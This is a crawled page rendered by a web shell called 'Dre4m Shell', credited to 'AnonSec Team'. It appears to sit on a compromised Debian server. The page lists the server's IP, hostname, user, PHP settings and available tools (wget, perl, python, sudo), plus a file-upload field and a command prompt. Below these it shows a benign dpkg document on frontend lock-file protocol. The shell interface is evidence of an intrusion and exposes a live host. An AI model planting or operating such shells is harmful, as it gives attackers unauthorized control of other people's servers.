Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.145.2.6
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/doc/dpkg/spec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/doc/dpkg/spec/frontend-api.txt
Frontend Interfaces
===================

This file will try to document some of the interfaces that dpkg makes
available to frontends or that expects them to use, which are currently
not covered by any other type of documentation.


Database Locking
----------------

Any frontend needing to make sure no write operation is currently happening,
and no other frontend is running should first acquire the frontend lock at
«<admindir>/lock-frontend», and then acquire the dpkg database lock at
«<admindir>/lock». When the frontend invokes dpkg, it should set the
environment variable DPKG_FRONTEND_LOCKED (to prevent dpkg from acquiring
the frontend lock), and then release the dpkg database lock, which will be
acquired by dpkg itself. This way no other frontend following this protocol
can race to perform operations while another one has one in progress.

These locks must be file record locks (i.e. fcntl(2) advisory locking), and
the whole file should be locked, as that's the most portable way to perform
this operation; this can be achieved by using start=0, len=0 and
whence=SEEK_SET.

Anon7 - 2022
AnonSec Team